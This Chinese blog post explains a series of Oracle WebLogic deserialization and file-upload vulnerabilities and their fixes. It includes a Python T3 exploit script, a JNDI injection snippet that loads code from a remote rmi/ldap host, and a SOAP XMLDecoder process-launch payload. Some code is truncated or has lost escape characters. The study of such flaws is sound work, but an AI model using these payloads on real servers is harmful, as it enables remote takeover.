weblogic 系列漏洞

目录

1、weblogic Java 反序列化 RCE

1)cve-2015-4582 

2) CVE-2016-0638

3)CVE-2016-3510

4)CVE-2017-3248

5)CVE-2018-2628

6)CVE-2018-2893

7)CVE-2020-2551

8)CVE-2020-2555

9) CVE-2020-2883

10)CVE-2020-14644

11)CVE-2020-14645

12)CVE-2020-14825

2、XMLDecoder反序列化漏洞

1)CVE-2017-3506

2)CVE-2017-10271

3) CVE-2019-2725

3、任意文件上传漏洞(CVE-2018-2894 )

4、反序列化防御

4.1 Weblogic防御

4.2 原生反序列化防御


1、weblogic Java 反序列化 RCE

WebLogic 的 java 反序列化漏洞依赖于T3 协议,因为 WebLogic Server 中的 RMI 通信默认使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。在 RMI 中可以通过调用远程服务器上的方法,对客户端传入的数据进行反序列化,当 T3 协议中的数据被替换成恶意类的序列化数据,则将导致服务器反序列化和实例化一个恶意的类,调用恶意方法,造成 RCE。同时,T3 协议在进行通信时,会附带 weblogic 版本的信息。

1)cve-2015-4582 

影响版本:Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0版本

漏洞成因:

    1. 在 Apache Commons Collections 基础库中,AnnotationInvocationHandler 类的readObject 函数会调用 map 接口的 entrySet 函数
    2. LazyMap 是一种实现了 map 接口的特殊 map,它的特点是如果 key 不存在,会随即通过实现了 Transformer 接口的内部对象对 key 生成一个 value
    3. Tranformer 接口有一个特殊的实现类 InvokeTransformer,它通过反射机制会返回一个对象,通过此类即可实现函数调用的特殊 Transformer。
    4. 在漏洞利用时,通过配置 AnnotationInvocationHandler 的 map 为 LazyMap,LazyMap 的内部 Transformer 接口为 InvokeTransformer,即可使得 AnnotationInvocationHandler 的反序列化readObject 函数会导致任意函数执行的 InvokeTransformer 调用。实际的调用链会更复杂一些。

如下是Ysoserial的调用链:

Gadget chain:
    ObjectInputStream.readObject()
       AnnotationInvocationHandler.readObject()  //外层InvocationHandler
          Map(Proxy).entrySet()
             AnnotationInvocationHandler.invoke() //包裹的内层InvocationHandler
                LazyMap.get()                 //get方法触发Transformer的执行ChainedTransformer.transform()  // ChainedTransformer执行代码
                      ConstantTransformer.transform()
                      InvokerTransformer.transform() // 通过反射,返回一个对象
                         Method.invoke()             // 实例化对象
                            Class.getMethod()         // 获取该类的方法
                      InvokerTransformer.transform()
                         Method.invoke()
                            Runtime.getRuntime()
                      InvokerTransformer.transform()
                         Method.invoke()
                            Runtime.exec()

POC:(通过python socket 发送插入了序列化恶意类数据的 T3协议)



#!/usr/bin/env python
# coding: utf-8

import socket
import struct

def poc(host, port):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_address = (host, int(port))
    data = ""
    try:
        sock.connect(server_address)
        # Send headers
        headers = 't3 12.2.1nAS:255nHL:19nn'.format(port)
        sock.sendall(headers)
        data = sock.recv(2)
        # java -jar ysoserial.jar CommonsCollections1 "touch /tmp/exp" > ./tmp
        f = open('./tmp', 'rb')
        payload_obj = f.read()
        f.close()
        payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000".decode('hex')
        payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078".decode('hex')
        payload2 = payload_obj
        payload = payload1 + payload2 + payload3

        payload = struct.pack('>I', len(payload)) + payload[4:]

        sock.send(payload)
        data = sock.recv(4096)
    except socket.error as e:
        print (u'socket 连接异常!')
    finally:
        sock.close()

poc('127.0.0.1', 7001)

2) CVE-2016-0638

漏洞成因:
    1. 官方通过添加黑名单的方式对 cve-2015-4582 漏洞打了补丁,但黑名单存在漏网之鱼 :weblogic.jms.common.StreamMessageImpl 类。
    2. StreamMessageImpl 类中的 readExternal 方法可以接收序列化数据作为参数,当此方法执行时,会反序列化传入的参数并执行该参数反序列化后对应类的 readObject 方法。
    3. 当CVE-2015-4852利用链数据反序列化后,传入readExternal方法,恶意类又可以长驱直入了。

AnnotationInvocationHandler 在黑名单中,会直接报错而不能获取其 Class 对象。

CVE-2015-4852补丁主要应用在三个位置上:

weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class   
weblogic.iiop.Utils.class

3)CVE-2016-3510

漏洞成因:
    1. cve-2015-4582 漏洞的补丁的黑名单的漏网之鱼不止一条,还有weblogic.corba.utils.MarshalledObject 类
    2. weblogic.corba.utils.MarshalledObject 类的构造方法中,接收一个 object 作为参数,随后会将此object 序列化,保存在字节数组 this.objBytes 中
    3. 当 weblogic 将构造好的 MarshalledObject 反序列化时,会尝试调用 MarshalledObject 的readResolve 方法,此方法会将 this.objBytes 中的内容反序列化
    4. 当 CVE-2015-4852 利用链被传入 MarshalledObject 类的构造方法中,rce的历史将再次重演

POC:https://github.com/zhzhdoai/Weblogic_Vuln/blob/master/Weblogic_Vuln/src/main/java/com/weblogcVul/CVE_2016_3510.java


4)CVE-2017-3248

漏洞成因:
    1. 利用 java.rmi.registry.Registry 接口,使用 UnicastRef 类可以向服务器发起远程方法调用 RMI 的请求,获取 RMI registry
    2. 通过 UnicastRef 向 RMI 服务器发起调用 JRMPClient 类的 getObject 方法,可以生成恶意序列化对象。
    3. RMI 服务器调用完成之后会返回某个类的实例作为结果给 weblogic, weblogic 收到数据之后会进行反序列化,从而触发 RCE。

5)CVE-2018-2628

漏洞成因:
此漏洞为CVE-2017-3248漏洞补丁的绕过。官方又使用黑名单的方式对CVE-2017-3248漏洞打了补丁:判断RMI接口是否为java.rmi.registry.Registry。而java.rmi.activation.Activator接口同样也可以利用。

6)CVE-2018-2893

漏洞成因:
此漏洞同样为 CVE-2017-3248 漏洞补丁的绕过。利用 StreamMessageImpl 对 ysoserial 工具中的JRMPClient 生成的 payloadObject 进行封装,由于 StreamMessageImpl 在进行反序列化时并不会被 resolveProxyClass 检测,导致绕过的产生,最后成功的进行了反序列化攻击。

7)CVE-2020-2551

影响版本:Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 版本

漏洞成因:
    1. 漏洞位于 WLS 核心组件中,默认允许通过 IIOP 协议进行网络请求。客户端通过 JNDI 查找的方式获取到远程的 Reference 对象,然后调用执行该对象的方法。
    2. 通过设置 java.naming.provider.url 的值为 iiop://IP:7001 获取到对应的 InitialContext 对象,然后再通过 bind 操作将可以被绑定的对象进行序列化并发送到IIOP服务端。
    3. Weblogic 服务端在获取到请求的字节流时候进行反序列化操作触发漏洞,从而导致攻击者可以攻击 Weblogic 服务器,最终可以利用该漏洞完全接管 Weblogic 服务器。

 POC:

public static void main(String[] args) throws Exception {
        String ip = "127.0.0.1";
        String port = "7001";
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
        Context context = new InitialContext(env);
        // get Object to Deserialize
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
        Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class);
        context.bind("hello", remote);
    }

8)CVE-2020-2555


影响版本:使用 Oracle Coherence 组件的 Weblogic10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0版本


漏洞成因:
    1. 在 ReflectionExtractor#extract 方法存在反射调用的流程:getClass()+invoke(),同时 extract中的参数是可控的,导致可以实例化恶意类,调用恶意方法
    2. 在 Coherence.jar 组件 com.tangosol.util.filter.LimitFilter#toString 方法中,调用了存在反射调用链的 ReflectionExtractor#extract 方法。
    3. 在 BadAttributeValueExpException#readObject 方法中刚好调用了 toString() 方法,通过将readObject 方法中调用 toString 方法的类设置为 LimitFilter,可以向 extract 方法传递恶意参数。
    4. java.io.ObjectInputStream 反序列化一个类时会默认调用该类的 readObject 方法,同时可以控制该方法的 val 变量,触发 toString() 方法。
    5. javax.management.BadAttributeValueExpException#readObject 方法会对传入的ObjectInputStream 实例提取其 val 属性的值,对该值进行判断,当控制了 val = valObj.toString(),即可调用控制的 valObj 对象的 toString 方法

利用链:

BadAttributeValueExpException.readObject()
   com.tangosol.util.filter.LimitFilter.toString() 
     com.tangosol.util.extractor.ChainedExtractor.extract()
         com.tangosol.util.extractor.ReflectionExtractor().extract()
             Method.invoke()
             //...
         com.tangosol.util.extractor.ReflectionExtractor().extract()
             Method.invoke()
                 Runtime.exec()

官方漏洞修复方式:将 toString 方法中调用 extract 的部分全部移除了

9) CVE-2020-2883

影响版本:Oracle WebLogic Server 10.3.6.0.0、 12.1.3.0.0、 12.2.1.3.0、 12.2.1.4.0

漏洞成因:
    1. 此漏洞为 CVE-2020-2555 补丁的绕过。在官方的补丁修复中,将 CVE-2020-2555 漏洞利用链中的 com.tangosol.util.filter.LimitFilter.toString() 给移除了,使得后面依靠 ChainedExtractor.extract()完成的攻击无法进行。
    2. 但ChainedExtractor.extract() 仍然可以通过 ExtractorComparator 和 AbstractExtractor 类来实现调用。
    3. MultiExtractor的extract() 方法也可以通过设置,调用 ChainedExtractor.extract()

因此可以得到两条调用链:

1)
ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                siftDownUsingComparator()
                    com.tangosol.util.comparator.ExtractorComparator.compare()
                        com.tangosol.util.extractor.ChainedExtractor.extract()
                            com.tangosol.util.extractor.ReflectionExtractor().extract()
                                Method.invoke()
                                .......
                            com.tangosol.util.extractor.ReflectionExtractor().extract()
                                Method.invoke()
                                Runtime.exec()

2)
ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                siftDownUsingComparator()
                    com.tangosol.util.extractor.AbstractExtractor.compare()
                      com.tangosol.util.extractor.MultiExtractor.extract()
                        com.tangosol.util.extractor.ChainedExtractor.extract()
                            com.tangosol.util.extractor.ChainedExtractor.extract()
                                com.tangosol.util.extractor.ReflectionExtractor().extract()
                                    Method.invoke()
                                    .......
                                com.tangosol.util.extractor.ReflectionExtractor().extract()
                                    Method.invoke()
                                    Runtime.exec()

POC: https://github.com/Al1ex/CVE-2020-2883

漏洞修复:
官方补丁中经将 ReflectionExtractor 列入黑名单,打断了调用链。补丁链接:https://www.oracle.com/security-alerts/cpuapr2020.html

10)CVE-2020-14644


影响版本:Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0


11)CVE-2020-14645


影响版本:Oracle WebLogic Server  12.2.1.4.0

漏洞成因:
    此漏洞是 CVE-2020-2883 补丁的绕过。利用 UniversalExtractor 绕过了 ReflectionExtractor 黑名单,任意调用 get、is 方法导致 JNDI 注入

poc:



package com.supeream.payload;
public class W14645 {
    public static void main(String[] args) throws Exception {
        // CVE_2020_14645
        UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
        final ExtractorComparator comparator = new ExtractorComparator(extractor);

        JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
        rowSet.setDataSourceName("ldap://IP:PORT/#Calc");
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

        Object[] q = new Object[]{rowSet, rowSet};
        Reflections.setFieldValue(queue, "queue", q);
        Reflections.setFieldValue(queue, "size", 2);
        byte[] payload = Serializables.serialize(queue);

        byte[] serialize= Serializables.serialize(queue);

        try {
            Serializables.deserialize(serialize);
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }

12)CVE-2020-14825

2、XMLDecoder反序列化漏洞

wls 组件使用了 webservice 来处理 soap 请求,在weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest 方法中,当localHeader1 和 localHeader2 都不为 null 时,将会把 <work:WorkContext> 所包含的数据传入weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld 方法。在此方法中,对WorkContextXmlInputAdapter 类进行了实例化,并调用 WorkContextXmlInputAdapter 类的构造方法,通过 XMLDecoder() 进行反序列化操作。

1)CVE-2017-3506

影响版本:weblogic 10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2
漏洞成因:
在 /wls-wsat/CoordinatorPortType 模块,当收到 XML 格式的 Javabean 实例数据时,可以通过XMLDecoder 可以进行反序列化创建实例对象。而收到的数据为恶意类的序列化数据时,就会导致RCE漏洞的产生。

POC:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
       <soapenv:Header>
                <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                          <java version="1.8.0_151" class="java.beans.XMLDecoder">
                          <object class="java.lang.ProcessBuilder">
                                   <array class="java.lang.String" length="3">
                                   <void index = "0">
                                            <string>cmd</string>
                                   </void>
                                   <void index = "1">
                                            <string>/c</string>
                                   </void>
                                   <void index = "2">
                                            <string>calc</string>
                                   </void>
                          </array>
                          <void method="start"/>
                          </object>
                          </java>
                          </work:WorkContext>
       </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>

2)CVE-2017-10271

漏洞成因:
    1. 此漏洞为 CVE-2017-3506 漏洞补丁的绕过。官方对于 CVE-2017-3506 漏洞的修复仅仅是对POC 中的 object 标签进行了限制,如果解析到 Element 字段值为 Object 就抛出异常。
    2. 将 object 标签换成了 array 或 void 等标签,也可触发远程代码执行漏洞。

漏洞修复:
官方在黑名单中又添加了 new、method、void、array 等关键字, 且设定 array 标签的 class 属性值必须为 byte,对漏洞进行修补。

3) CVE-2019-2725

漏洞成因:
    1. 此漏洞为 CVE-2017-10271 漏洞补丁的绕过。不在黑名单中的 class 元素可以指定任意的反序列化类名。
    2. UnitOfWorkChangeSet 类构造方法中直接调用了 JDK 原生类中的 readObject() 方法,并且其构造方法的接收参数恰好是字节数组,满足了上一个补丁中 array 标签的 class 属性值必须为byte 的要求
    3. Weblogic 所采用的是其安装文件中默认 1.6 版本的 JDK 文件,属于存在反序列化漏洞的 JDK 版本
    4. 借助带index属性的 void 元素,可以完成向字节数组中赋值恶意序列化对象的过程,最终利用JDK 7u21 反序列化漏洞就造成了远程代码执行。

漏洞修复:
    1. 升级 JDK 版本至7u21以上
    2. 通过 ACL 禁止对 /_async/* 及 /wls-wsat/* 路径的访问
    3. 在不影响业务的情况下,可以删除 wls9_async_response.war 与 wls-wsat.war 文件及相关文件夹,并重启 Weblogic 服务。

3、任意文件上传漏洞(CVE-2018-2894 )

 
影响版本: Oracle WebLogic Server 10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

漏洞成因:
    1. WebLogic 管理端两个未授权的页面 /ws_utc/begin.do,/ws_utc/config.do,支持文件上传功能;
    2. 程序获取了上传的数据后,没有对内容进行严格校验就保存到了磁盘中;
    3. 上传文件的路径可知,攻击者可以通过网络访问到上传的 webshell 文件。

漏洞的地址:
http://IP:7001/ws_utc/resources/ws/config/import?timestamp=

漏洞修复:
    1. 设置 Config.do、begin.do 页面登录授权后访问;
    2. IPS 等防御产品可以加入相应的特征;
    3. 升级到官方最新版本。

4、反序列化防御

4.1 Weblogic防御

• 过滤 T3 协议,限定可连接的 IP
• 设置 Nginx 反向代理,实现 t3 协议和 http 协议隔离
• JEP290(JDK8u121,7u131,6u141),这个机制主要是在每层反序列化过程中都加了一层黑名单处理,黑名单如下:
黑名单:

maxdepth=100;
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTra
nsactionManager;
!sun.rmi.server.UnicastRef;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*

当然也有失效的时候,就是发现了新的 gadget。这也促使 Oracle 开始放弃反序列化支持。

4.2 原生反序列化防御

• 不要反序列化不可信的数据
• 给反序列数据加密签名,并确保解密在反序列之前
• 给反序列化接口添加认证授权
• 反序列化服务只允许监听在本地或者开启相应防火墙
• 升级第三方库
• 升级 JDK,JEP290

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

信安成长日记

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值